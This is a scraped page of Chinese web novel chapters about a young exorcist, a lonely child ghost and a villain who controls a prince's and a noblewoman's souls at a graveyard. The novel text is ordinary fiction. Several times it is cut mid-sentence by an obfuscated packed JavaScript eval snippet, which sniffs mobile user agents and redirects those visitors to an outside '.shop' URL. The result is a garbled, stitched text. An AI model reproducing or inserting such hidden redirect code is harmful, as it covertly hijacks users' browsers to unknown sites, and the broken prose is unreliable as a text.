;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555727|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 她像是抓住了最后一根救命稻草,连忙用袖子擦了擦并不存在的眼泪,急切地说道: “我想让你们帮我找我娘亲,可以吗?” “哈?”小花被她这突如其来的请求弄得一愣,随即脱口而出: “你是小蝌蚪吗?” 茹儿懵了,茫然地眨着大眼睛:“啊?” “小蝌蚪才要找娘亲!”小花没好气地解释道, “你又不是小蝌蚪,你为什么要找娘亲?再说了,你自己都找不到你娘亲,我们上哪儿给你找去?你都是个鬼了,想去哪儿不行?天南地北,阴曹地府,你想去哪里找就去哪里找啊! 腿长在你自己身上,哦不,魂体上,你自己去找啊!跟我们这儿耗什么?” 小花噼里啪啦又是一顿输出,从鬼魂的行动自由讲到自力更生的必要性,又从逻辑层面分析了找娘亲这个任务的不靠谱性,直说得茹儿刚刚升起的那点希望小火苗又被浇熄了。 她抱着那个破旧的布娃娃,扁着嘴,再一次委屈巴巴地缩回了墙角,小小的身子蜷成一团,背对着林小满和小花,用细小的、带着哭腔的声音,嘟嘟囔囔地念着: “坏蛋……都是坏蛋……画个圈圈诅咒你们……诅咒你们明天起床找不到鞋子……诅咒你们吃点心吃到花椒……诅咒你们……” 她一边念叨,一边还用苍白的小手指在冰凉的地板上画着毫无意义的圈圈。 那副又可怜又带着点幼稚赌气的样子,倒是比之前那诡异的模样多了几分属于她这个年纪应有的、让人哭笑不得的“可爱”。 小花被茹儿那幼稚的诅咒逗得又好气又好笑,挥了挥手,懒得再跟她纠缠: “算了算了,跟你这小鬼扯不清,我要去睡觉了,懒得理你!” 林小满也打了个哈欠,伸了个懒腰,径直走向自己的床榻,利落地躺下,拉过锦被盖好,没一会儿,均匀绵长的呼吸声便传了过来,竟是秒睡。 第一百九十八章 靖安王府出事了 茹儿还在墙角画着圈圈,嘴里碎碎念着,等她觉得诅咒得差不多了,偷偷抬起头,想看看那两个“坏蛋”在干嘛时,却发现房间里只剩下躺在床上的林小满,那个聒噪的小花竟然不见了踪影! 她疑惑地眨了眨眼,环顾四周,房间里空荡荡的,只有烛火静静燃烧。 窗户不知何时打开了一条小缝,夜风微微吹动着纱帘。 “咦?奇怪……”茹儿喃喃自语,“没看到她出去啊……” 她明明一直缩在墙角,根本没看到小花离开,那么大个人,怎么就凭空消失了? 茹儿歪着脑袋想了半天也没想明白,最终只能归结为,那个奇怪的丫鬟果然不是普通人! 她看着床上睡得安稳的林小满,又看了看空无一人的房间,一种被全世界抛弃的孤独感再次涌上心头。 她扁了扁嘴,一副生无可恋的样子,慢吞吞地把自己那个破旧的布娃娃放在冰凉的地板上,然后小心翼翼地将自己的小脑袋枕了上去,蜷缩起小小的身体,也闭上了眼睛。 虽然鬼魂并不需要睡眠,但长年累月的孤寂让她习惯了用这种类似沉睡的状态来度过漫长而冰冷的夜晚。 房间里一时间只剩下林小满平稳的呼吸声,以及角落里那个蜷缩着的、无人可见的小小魂灵。 …… 从第二日开始,无论林小满和小花走到哪里,身后不远处总会悄无声息地缀着一个抱着破布娃娃、身影模糊的小小身影。 她也不靠近,就隔着一段距离默默地跟着,那双空洞的大眼睛总是直勾勾地望着林小满的背影。 寻常**眼凡胎,自然看不见她,只是林府的下人们,尤其是经常与林小满同行的沈清秋,总觉得背后莫名凉飕飕的,仿佛有阵阵阴风贴着脊梁骨吹过。 这日,沈清秋与林小满一同走在府内的抄手游廊上,她又忍不住频频回头,看向空无一人的身后,眉头微蹙,脸上带着几分困惑和一丝不易察觉的寒意。 她终于忍不住,凑近林小满,压低声音问道: “小满……你有没有觉得……好像有什么东西……在跟着我们?一直看着我们似的?我这后背总觉得凉凉的。” 林小满正低头想着什么,闻言头也没抬,很自然地点了点头,语气平淡无波:“嗯,有啊。” 沈清秋立刻紧张地又回头仔细看了看,游廊寂静,除了她们母女二人,连个丫鬟仆从的影子都没有,哪里有什么东西?她疑惑地再次看向林小满: “有什么?我怎么什么都没看见?” 林小满这才抬起眼,看向母亲,语气依旧没什么起伏,像是在陈述一件再普通不过的事情: “一个小女孩。”她顿了顿,补充道,“嗯,准确的来说,应该是一个……小鬼。” “啊?”沈清秋闻言,先是惊得轻呼一声,下意识地又往后看了一眼,空荡荡的回廊让她心里更**了。 但她很快镇定下来,毕竟是自己女儿,她说有鬼,那八成就是真有鬼。 她非但没有吓得花容失色,反而好奇地问道: “不会吧?真的有小鬼跟着我们?她……她为什么要跟着我们呀?” 林小满看着自家娘亲这过于淡定的反应,倒是有些意外,反问道:“娘亲,你不怕吗?” 沈清秋拍了拍胸口,理所当然地说道: “这有什么好怕的?不是有你在身边吗?什么妖魔鬼怪敢在你面前造次?”她对女儿的本事有着盲目的信心。 林小满“哦”了一声,想了想,好像也是,有自己在,哪里能有什么真正的危险呢? 她便言简意赅地将昨日在俞府回廊遇见这小鬼,后来这小鬼如何跟到林府,如何想跟她一起睡,最后又如何在她房间里“睡”了一晚的事情,告诉了沈清秋。 沈清秋听得啧啧称奇:“你的意思是……那小女孩鬼,是想让你帮她找她娘亲?” 她心思转得快,立刻联想到,“那他娘亲……是不是俞府的人?” 林小满点了点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559607|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对,没错。” “那也不应该呀,”沈清秋觉得有些不合逻辑, 她在俞府待了那么久,如果他娘亲也在俞府,他怎么可能找不到?除非……” 她想到某种可能,但没有说下去,转而问道,“你要不要帮他一起找找看?怪可怜的。” 林小满想都没想,直接拒绝:“不帮。” 沈清秋有些担忧:“是你不帮的话,他一直这么缠着你怎么办?跟个小尾巴似的。” 林小满神色不变,语气笃定:“没事。等会儿空闲了,我直接把他送去地府投胎便是。” 沈清秋闻言,松了口气,点了点头:“好吧~”能直接送走,那自然是最好不过。 一直远远跟在后面的茹儿,因为距离稍远,并没有听清沈清秋和林小满的具体对话。 她只是看到沈清秋时不时地就朝自己的方向看过来,眼神里似乎带着探究和了然。 不知为何,茹儿心里隐隐升起一股不安,抱着布娃娃的手臂不自觉地收紧,苍白的小脸上露出一丝茫然和警惕。 她感觉……好像有什么对她不利的大事,马上就要发生了。 就在这时,一个丫鬟急匆匆地从游廊另一端跑了过来,脚步慌乱,直到看见沈清秋和林小满,才像是找到了主心骨,猛地松了一口气,抚着胸口急喘。 沈清秋见她这般模样,心头一紧,面上却维持着镇定,问道: “怎么了?在府里这般急匆匆的,成何体统?发生何事了?” 那丫鬟连忙福了福身子,气息还未平复,急声道: “夫人,二小姐,靖安王府的东风大人来了,此刻正在前厅等候,说是有万分紧急的事情,必须立刻见到二小姐!” 林小满闻言,眸光微凝,垂在身侧的小手在袖中飞快地掐算了一番,脸色骤然一变。 她立刻转头对沈清秋说道, “娘亲,你现在立刻回自己院子去,哪里都不要去。我去前厅见东风即可。” 第一百九十九章 失踪了 沈清秋见她神色凝重,心知不妙,担忧地抓住她的手腕: “怎么了?可是有什么危险?” 林小满反手轻轻拍了拍母亲的手背,语气放缓, “放心吧,没事。我能处理。你先回去,莫要让我分心。” 沈清秋与女儿对视片刻,从她眼中看到了不容更改的决心。 她深知女儿的能耐,也明白此刻自己留下或许真是累赘,便不再坚持,点了点头: “好,娘听你的,你自己千万小心。” 林小满点了点头,带着不知何时已悄然出现在她身后的小花,快步朝着前厅方向走去。 刚走出几步,她像是忽然想起了什么,猛地停下脚步,转身又快步走回沈清秋面前。 她迅速从怀中掏出三个折叠好的、看似普通的黄色护身符,塞到沈清秋手中,语速极快却清晰地交代道: “这个你拿好,贴身戴着。另外两个,立刻让知鸳和父亲也戴上,一人一个,务必随身携带,近日都不要离身。” 沈清秋低头看着手中那三个还带着女儿体温的护身符,又抬头看向林小满那比平日更加冷肃几分的脸色,心中明白,恐怕是有什么不寻常的、甚至是凶险的事情发生了。 她没有多问一句“为什么”,也没有丝毫犹豫,立刻将护身符紧紧攥在手心,重重点头: “好,娘知道了,这就去给你爹爹和知鸳送去。你放心去办事,家里有娘在。” 她看着女儿,眼神里充满了全然的信任和支持。 虽然与这个女儿相认团聚的时间并不长,但她深知林小满的性子,沉稳有度,若非必要,绝不会如此郑重其事。 她不会阻止女儿去做任何事,她能做的,就是打理好后方,让女儿没有后顾之忧,能够安心、放心地去面对前方未知的风浪。 林小满见母亲如此,心中微暖,不再多言,转身与小花一起,身影很快消失在游廊的拐角处。 而远远跟在后面的小鬼茹儿,看着这突如其来的变故,以及林小满那不同寻常的神色和举动,心里的那股不安感愈发强烈了。 林小满带着小花步履匆匆地赶到前厅时,只见东风正如同热锅上的蚂蚁般来回踱步,脸上满是焦灼之色,额角甚至渗出了细密的汗珠。 除了东风,秦婉的贴身丫鬟也在一旁,同样是一脸惶急无助。 两人一见林小满出现,如同见到了救星,立刻快步迎了上来。东风率先开口,声音因急切而有些发紧: “不好了林小姐!王爷……王爷他不见了!” 他话音刚落,那丫鬟带着哭腔急急补充道:“还、还有我家小姐!我家小姐也不见了!” 林小满,“别急,慢慢说,到底发生了什么事?从头说清楚。” 东风脸上露出浓浓的懊悔和自责之色,语速极快地回道: “今日辰时左右,秦小姐突然来到王府,说是有万分紧急的事情要见王爷,而且……而且她特意强调,只许王爷一人跟她去,坚决不让我等随行护卫。王爷见她说得郑重,便……便独自跟她离开了。” “不是这样的!”那丫鬟在一旁急得直跺脚,连忙反驳, “明明是今日辰时,王爷亲自来我们秦府找我家小姐!也说是有极要紧的事,让我家小姐务必跟他出去一趟,同样吩咐了不许任何外人跟着。我家小姐这才跟着他走的!” 小花在一旁听得瞪大了眼睛,指了指东风,又看向她: “所以,你的意思是,你看到的是‘秦小姐’去了王府找裴昭?而你看到的则是‘裴昭’去了秦府找秦小姐?” 东风和丫鬟两人对视一眼,都从对方眼中看到了惊骇和茫然,随即对着小花用力点头,动作整齐划一,如同捣蒜。 “小满,这……这是换头术吧?”小花下意识地看向林小满,觉得这事实在太诡异了。 林小满摇了摇头,“哪有那么玄乎的换头术。若真是那等邪术,施术条件极为苛刻,动静也绝不会小。 这更像是简单的易容伪装,再配合一些迷惑心智的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559608|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手段,利用了他们对彼此的信任和关心则乱的心理。” 她顿了顿,继续道:“不过,至少目前可以肯定的是,对方此举是专门针对裴昭和秦婉而来的。而他们最终的目的……” 小花立刻接话,“想必就是针对你,小满!” 林小满微微颔首,她来京城时日尚短,若说得罪了什么人,结下了非要用如此迂回狠辣手段来对付她的仇怨,数来数去,恐怕也只有那位心胸狭窄的方令仪,以及那个行事诡谲的霉道长了。 对方不敢直接对她下手,便将她身边的人牵扯进来,意图再明显不过。 就在林小满凝神思索之际,一直偷偷跟在后面的小鬼茹儿也飘到了前厅附近。 她见林小满和小花面色凝重,似乎遇到了**烦,觉得自己表现的机会来了,立刻跳到林小满和小花面前。 使劲地挥舞着苍白的小手,又用手指不停地指向自己,脸上带着急切和“选我选我”的期盼表情,示意自己可以帮忙。 小花正烦着,看到这小鬼还在眼前蹦跶添乱,没好气地朝她翻了个大大的白眼。 她懒得开口,直接用神识传音,一道清晰的声音直接响彻在茹儿的“脑海”里: “喂!那个谁!大姑奶奶我求求你了,别来添麻烦了好吧?没看见我们这儿正焦头烂额吗?” 茹儿突然听到声音,吓了一跳,茫然地四处张望,还以为又有别人能看见自己了。 当她发现只有小花正一脸不耐烦地瞪着自己时,立刻明白过来,这是小花在用某种特殊的方式跟自己说话! 她先是惊讶地眨了眨眼,没想到这个聒噪的丫鬟还有这本事呢! 她像是怕被拒绝似的,连忙也用意念急切地回应: “我才没有添麻烦!我真的可以帮你们的!我……我帮你们,你们帮我找娘亲,可以吗?我很厉害的,我能穿墙,能隐身,能去很多你们去不了的地方打听消息!” 她努力推销着自己,生怕错过这个可能达成交易的机会。 第二百章 乱葬岗 就在这时,一个仆人急匆匆地从外面跑了进来,手上捧着一个素白的信笺,快步走到林小满身旁,躬身低声道: “二小姐,外面有个戴着斗笠、看不清面容的人,让小的务必立刻将这个交给您,说是十万火急,关乎人命!” 林小满接过信笺,“有看清那人的长相吗?” 那仆人连忙摇头:“回二小姐,并未看清。那人低着头,斗笠压得很低,声音也嘶哑得很,递了信转身就走了,脚步快得诡异。” “嗯,好,知道了,你先下去吧。” 待仆人退下,林小满迅速拆开信封,取出了里面的信纸。 东风和小花等人立刻围拢过来。只见信纸上只有寥寥几个字,墨迹似乎还带着一丝未散的阴冷气息: 申时三刻,乱葬岗。 林小满立刻看向东风,问道:“现在什么时辰了?” 东风虽心急如焚,但作为侍卫统领,对时辰极为敏感,立刻回道: “刚过未时正刻不久。” 林小满眉头微蹙,计算了一下:“从林府赶到城西乱葬岗,最快也需要将近半个时辰。现在出发,时间已是十分紧迫,几乎卡在点上。” 她当机立断,“不能再耽搁了,现在马上出发!” 东风看着那简单到近乎诡异的纸条,心中仍有疑虑: “林小姐,这……这确定是掳走王爷和秦小姐的那伙人送来的吗?会不会是调虎离山,或者另有陷阱?” 不等林小满回答,小花已经忍不住跳起来,踮起脚尖用力拍了拍东风的肩膀: “说你傻你还真不动脑子啊!如果不是他们,谁会在这个时候用这种方式送信?还指定乱葬岗那种地方?明显就是冲着我们来的! 再说了,对方搞出这么大阵仗,把裴昭和秦婉都弄走了,不就是为了引小满过去吗?现在信来了,不正说明他们就在那里等着?不去看看,难道干等着他们撕票啊?” 小花一番连珠炮似的分析,虽然直接,却句句在理。 东风顿时恍然,脸上疑虑尽消,“属下明白了!这就去备马!” 林小满看向一旁焦急万分的秦婉丫鬟,“你就不要跟着去了。” 那丫鬟一听,眼泪都快急出来了:“可是……可是我家小姐她……” 小花一把拉过她,打断道:“哎呀,姐妹,让你别去你就别去了!那乱葬岗是你能去的地方吗?你又没有一丁点防身的功夫,去了那里就是给我们添乱,到时候我们还得反过来保护你!那秦小将军和秦夫人他们可知道秦小姐失踪的事儿?” 丫鬟愣了一下,摇了摇头:“还、还不知道,奴婢不敢声张,先来找林小姐了……” 小花立刻接话:“那就对了!你赶紧回去,想办法稳住他们!如果他们察觉或者问起来,你就说我家小满已经去救了,保准把他们家宝贝闺女安安全全、毫发无损地给带回来!你留在家裡传递消息、稳定后方,比跟去有用多了!” 丫鬟被小花这一番连哄带劝加分析,也觉得有理。 自己确实手无缚鸡之力,硬要跟着过去,非但帮不上忙,恐怕真会成为累赘。她咬了咬唇,用力点头: “好!奴婢听你们的!这就回府守着,等林小姐的好消息!”说完,她擦了擦眼泪,转身快步离去。 安排妥当后,林小满、小花带着东风,以及飘在一旁无人可见的小鬼茹儿,立刻出发,策马朝着城西乱葬岗疾驰而去。 一路紧赶慢赶,到达乱葬岗时,天色已经有些阴沉。 放眼望去,荒草丛生,歪斜的墓碑和散落的棺木零星分布,空气中弥漫着一股泥土和腐朽混合的怪异气味,四周寂静得可怕,只有风声呜咽。 除了他们,这里空无一人,别说活人,连只鸟雀都看不见。 东风心急如焚,立刻下马,一边高声呼喊着“王爷!秦小姐!”,一边在乱坟堆间焦急地寻找起来。 林小满却站在原地,缓缓闭上了眼睛,凝神感受着周围的气息。 飘在一旁的茹儿,小心翼翼地扯了扯小花的衣袖,小声说道:“小花姐姐,这里……没有活人的气息。” 小花正警惕地观察四周,闻言没好气地用意念回她: “你说没有就没有啊?这里的**那么多,阴气怨气混杂在一起,最容易掩盖活人的气息了!你真是白当鬼这么久了,连这点常识都没有?就你这半吊子水平,还想帮我们呢?别帮倒忙就谢天谢地了!” 茹儿被怼得缩了缩脖子,委屈地抱着自己的布娃娃,不敢再说话了,但心里却隐隐觉得,自己感知到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565789|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该没错。 茹儿正想再次开口,坚持说自己确实没有感受到任何活人气息时,林小满已经猛地睁开了眼睛,冷冷地看向正前方,语气笃定地说道: “走吧,就在前面三十丈开外。” 茹儿震惊地看向林小满,空洞的大眼睛里满是难以置信。 她怎么那么肯定前面有人??别说是前方三十丈,就是方圆几里,她也感受不到任何其他活人的气息啊! 疑惑归疑惑,她是不敢真正开口反驳的,毕竟还得靠他们帮自己找娘亲呢,只能把疑问咽回肚子里,抱着娃娃飘在后面。 林小满已经率先迈步朝前走去。小花连忙叫住了还在埋头四处呼喊、翻找的东风: “别喊了!小满说人在前面!” 东风闻言,立刻收敛心神,一个箭步抢到众人前面,右手紧握剑柄。 “锵”的一声将佩剑拔出半截,寒光闪烁,全身肌肉紧绷,做出了十足的戒备姿态,小心翼翼地在前方开路。 说来也怪,就在他们往前走了大约三十丈的距离时,刚才看着还空无一物、只有荒草坟茔的地方,毫无征兆地突然涌起一阵浓得化不开的白雾,将前方景象完全遮蔽。 一阵风吹过,白雾又如同被一只无形的手拨开般迅速散去。 而原本空荡荡的前方,竟赫然出现了一座破败不堪的木屋! 那木屋歪歪斜斜,仿佛随时会倒塌,屋顶茅草稀疏,窗户破损,透着一股说不出的诡异。 更让人心惊的是,木屋旁边还拴着一条体型硕大的**! 那**皮**油亮,一双眼睛在昏暗的光线下泛着幽绿的光,正龇着牙,喉咙里发出低沉的呜咽声,死死地盯着他们这群不速之客。 茹儿的嘴巴张得更大了,几乎能塞进一个鸡蛋。 这……这里怎么会凭空出现一座房子?!而且房子旁边竟然还有一条活生生的狗?! 自己刚才分明没有感受到任何活物的气息啊!狗也属于活物,按理说绝不可能逃过她的感知! 这下她彻底被林小满的神奇手段所折服,原本的委屈和疑惑瞬间被浓浓的崇拜取代,一双大眼睛眨也不眨地、满是敬畏地看向林小满清冷的侧脸,更加肯定了,自己一定要缠着她们,让她们帮忙找到娘亲。 第二百零一章 不自量力 几人刚走到木屋门口,那条体型硕大的**便猛地站起身,龇着牙,喉咙里发出威胁的低吼,作势欲扑。 “吵什么吵!”小花不耐烦地撇撇嘴,不知从哪里变戏法似的掏出一个油光锃亮的大鸡腿,手腕一抖,精准地扔到了**面前。 那**鼻头耸动,低吼声戛然而止,它狐疑地看了看几人,又低头嗅了嗅鸡腿,最终抵挡不住诱惑,叼起鸡腿摇着尾巴跑到一边享用去了。 东风见状,松了口气,正要上前敲门,那破旧的木门却“吱呀”一声,从里面被拉开了。 站在门内的,赫然是秦婉。 她看上去并无大碍,只是发髻稍显凌乱,脸色有些苍白。 她看着门外的几人,语气平静地开口:“你们来啦。” “秦小姐!”东风心中一喜,立刻抢步上前,急切地问道, “您没事吧?”他一边问,一边下意识地探头往秦婉身后昏暗的屋内张望, “王爷呢?王爷不是和您在一起吗?” “在啊,”秦婉侧了侧身,让出视线,“他在里面。” 她话音刚落,裴昭的身影便从屋内阴影处缓步走出,站到了秦婉身旁。 他神色如常,甚至嘴角还带着一丝若有若无的笑意,看着林小满等人,淡淡道:“你们来了。” “王爷!”东风见裴昭安然无恙,一直悬着的心终于落下大半,激动之下,单膝便欲跪地请罪, “属下护卫不力,致使王爷身陷险境,罪该万死!还请王爷……” 他话未说完,在低头的那一刹那,眼角的余光不经意间扫过了站在裴昭身侧的秦婉。 只见秦婉脸上那原本平静的表情,在裴昭出现后,极其诡异地扭曲了一下,嘴角勾起一个绝非她本人会有的、充满恶意和嘲弄的弧度! 那一瞬间,东风只觉得一股寒气从脚底直冲天灵盖,浑身汗**倒竖! 他飞快地意识到,眼前的秦婉有问题!那绝不是他所认识的那个秦小姐! 电光火石间,他强行压下了已经到了嘴边的请罪话语,硬生生止住了下跪的动作,假装并未察觉任何异常,依旧低着头,语气保持着恭敬,继续说道: “……王爷安然无恙,实乃万幸。不知此处是何地,王爷与秦小姐是如何脱险的?” 他心中警铃大作,如果秦婉是假的,那这个看起来与王爷一般无二、刚刚从屋里走出来的人……真的是王爷吗? 就在这时,“裴昭”开口了,他的声音与裴昭本人几乎毫无二致, “无妨,虚惊一场。那封信是我派人送去引你们来的,不过眼下已经没事了。走吧,先回去再说。” 他说着,便抬步向前,准备越过东风。 就在“裴昭”即将与东风擦肩而过的瞬间,东风猛地起身,脚下用力,身形疾退,想要迅速拉开距离,退到林小满身边示警! 然而,他还是低估了对方的速度和实力! 他身形刚动,一只手精准无比地扼住了他的咽喉! 巨大的力量瞬间封锁了他的呼吸和所有动作,让他僵在原地,动弹不得。 “裴昭”脸上那抹温和的笑意瞬间消失, 他微微歪头,看着因窒息而面色涨红的东风,轻笑道: “不错,真不错。不愧是裴昭亲手带出来的人,跟他一样……有点小聪明。” 东风双目圆睁,死死盯着眼前这张与王爷一模一样的脸,从牙缝里挤出质问: “你……你到底是谁?!真正的王爷……在哪里?!” 话音刚落,木屋门口的光线一暗,一道人影缓缓踱步而出,不是别人,正是那贾富贵。 他脸上带着志得意满的狞笑,目光扫过被扼住咽喉的东风和神色凝重的林小满等人。 “在你面前站着的,当然就是尊贵的王爷和秦小姐本人,”贾富贵拖长了语调,语气里满是戏谑, “只不过嘛……他们的魂魄暂时借给我用用罢了。中了我的‘锁魂咒’,就算是大罗金仙也得乖乖听我号令!哈哈哈……如今你们在乎的人都在我掌控之中,我倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565790|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要看看,你林小满还能翻出什么浪花来!” 小花眨了眨眼睛,脸上瞬间堆满了天真无邪,她指着贾富贵,发出夸张的大笑: “哎呀呀!我当是谁呢,这不是贾大掌柜吗?你在这儿开什么玩笑呢?虽然你人是长得磕碜了点,脑子看起来也不太好使,但你这副尊容,一看就不像是能干出这种大事的坏人啊!是不是找错台词本了?” 贾富贵直接无视了小花的插科打诨,他那双阴鸷的眼睛死死盯住一直沉默不语的林小满。 却见林小满脸上非但没有丝毫惊慌,反而嘴角微微上扬,勾起一抹极淡、却让人心底发寒的弧度,她就那样静静地、带着一丝怜悯般地看着贾富贵,仿佛在看一个跳梁小丑。 这反应完全出乎贾富贵的意料,他心中莫名地升起一股寒意,强自镇定地喝道: “还在这里装镇定?有什么好装的!你们不是早就已经发现端倪了吗?哼!那天晚上,若不是那个叫青阳的小道士跑得快,他早就成了我的刀下亡魂!” 小花惊讶的问道,“你发现青阳了?” “发现了有什么奇怪?”贾富贵嗤笑一声,语气满是不屑, “就他那点三脚猫的隐匿功夫,想不让我发现才难吧?简直是自不量力!” 被扼住喉咙的东风闻言,目眦欲裂,奋力从齿缝间挤出怒骂: “贾富贵!你这个卑鄙小人!正面对决不是林小姐的对手,就用这种下三滥的手段,操控他人魂魄!你简直无耻至极!” “无耻又怎样?”贾富贵对东风的怒骂嗤之以鼻,脸上尽是扭曲的得意, “只要能够达到结果,过程有那么重要吗?”他声音压低,带着一种狂热的虔诚, “自从跟着尊主做事开始,我们便不再是原来的自己。若是完不成尊主交下来的任务,我们就算是自己想死也死不了!” 他今日必须让林小满死!一个是当朝王爷,一个是秦家小姐,他们与林小满关系匪浅,尤其是这裴昭,若他没看错,定然是对林小满有情意的。 第二百零二章 他逼得林小满破功了! 他就不相信,林小满能眼睁睁看着他们在自己面前殒命! 贾富贵正美滋滋地幻想着计划成功,林小满束手就擒的场景,他志得意满地看向林小满,怪笑道: “林小姐啊林小姐,你想怎么救他呢?” 他的目光意有所指地瞟向被扼住咽喉、面色痛苦的东风,以及一旁的裴昭。 林小满的目光淡淡地落在裴昭身上,她轻轻“啧”了一声,语气带着点为难: “用他的命来威胁我?贾掌柜,你这算盘打得挺响。不过,你要让我用我的命去换他的命?这不太好吧?” 贾富贵闻言一愣,心里瞬间被巨大的疑问填满。 这反应不对啊!剧本不是这么写的!她不是应该惊慌失措、痛苦抉择吗? 他忍不住拔高了音量,带着几分气急败坏:“这可是靖安王爷!他对你可是……可是另眼相待!难道你想亲眼看见他被我杀死不成?看着他魂飞魄散,肉身被**控着去做尽恶事?” 只见林小满歪了歪头,甚至还嘟了嘟嘴巴,露出一副颇为无辜又带着点算计的表情,慢悠悠地说道: “好吧好吧,实不相瞒。贾掌柜,其实我跟他走得近呢,完全就是看上了他的地位和钱财。你想想,攀上王爷这棵大树,多方便啊!” 她往前凑了凑,压低了声音,仿佛在跟贾富贵分享什么秘密,眼睛却瞟着裴昭的方向: “如果你现在把他弄死,说实话,我还挺省心的。到时候我还可以编造一个,我为了救他,奋力搏斗,身受重伤,甚至差点殉情的凄美爱情故事……你想想,那多感人啊! 到时候,他靖王府里的金银财宝、权势地位,皇上给的抚恤,不多少都得落我手里一点吗?嘿嘿……” 林小满说着,还像模像样地搓了搓手指,做了一个数钱的动作,对着贾富贵露出了一个“你懂的”笑容: “贾掌柜,你要是真帮我这个忙,我先提前谢谢你了啊!麻烦你动手利索点,别让他太痛苦,毕竟‘相爱’一场嘛。” 这一番话,不仅让贾富贵彻底懵了,张着嘴半天说不出话来,连被掐着脖子的东风都忘了挣扎,目瞪口呆地看着林小满。 小花在一旁使劲憋着笑,肩膀一耸一耸的,显然快忍不住了。 贾富贵脑子彻底乱了,他指着林小满,手指都在发抖:“你……你……你胡说八道!你怎么可能是这种人!” “我怎么就不能是了?”林小满摊摊手,一脸理所当然, “人为财死,鸟为食亡。贾掌柜你不也是为了你的‘尊主’和利益在奔波吗?咱们半斤八两,谁也别笑话谁。” 她顿了顿,语气忽然变得轻快起来:“不过嘛,贾掌柜,你有没有想过一个问题?” “什……什么问题?”贾富贵下意识地问道,他感觉自己完全被林小满带跑了思路。 林小满啧啧地笑了笑,眼神里带着几分戏谑:“什么问题?那就让你自己去想喽。” 贾富贵大概是这辈子都没见过这种不按常理出牌的戏码,再一次被噎得说不出话,脑子一片混乱。 他试图从道义上施压,色厉内荏地喝道:“你……你休要胡搅蛮缠!道家最讲因果!靖安王和秦小姐若因你见死不救而死,这份孽障因果就会缠上你!你就不怕道心受损,永无宁日吗?” 林小满闻言,做出了一个十分夸张的惊讶表情,用手捂住了嘴: “我的天哪!不会吧贾掌柜?你一看也不是那种完全不懂行的人啊!他们明明是死在你的手里,中了你的邪术,被你操控,被你杀死! 这从头到尾都是你造的孽,和我有什么关系呢?就算被因果缠身,业火焚身,那也应该是你啊!你这甩锅的本事可比你的邪术厉害多了!” 贾富贵被怼得脸色一阵青一阵白,他控制着“裴昭”的手,不自觉地又收紧了些许,让东风的脸色由红转紫。 他仔细上下打量着林小满,试图从她脸上找出一丝一毫的伪装或动摇。过了好一会儿,他似乎“恍然大悟”,带着一种扭曲的释然和鄙夷: “原来如此!我明白了!林小满,你和你口中的我们,原来也没什么不同!一样的丧心病狂,冷血自私!我还以为你是什么悲天悯人、正气凛然的好人呢!看来是我高看你了!” 可话虽如此,他心里那股不对劲的感觉却越来越强烈。 林小满的反应太过于顺畅,太过于……气定神闲了。这根本不是人质被挟持时该有的表现! “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 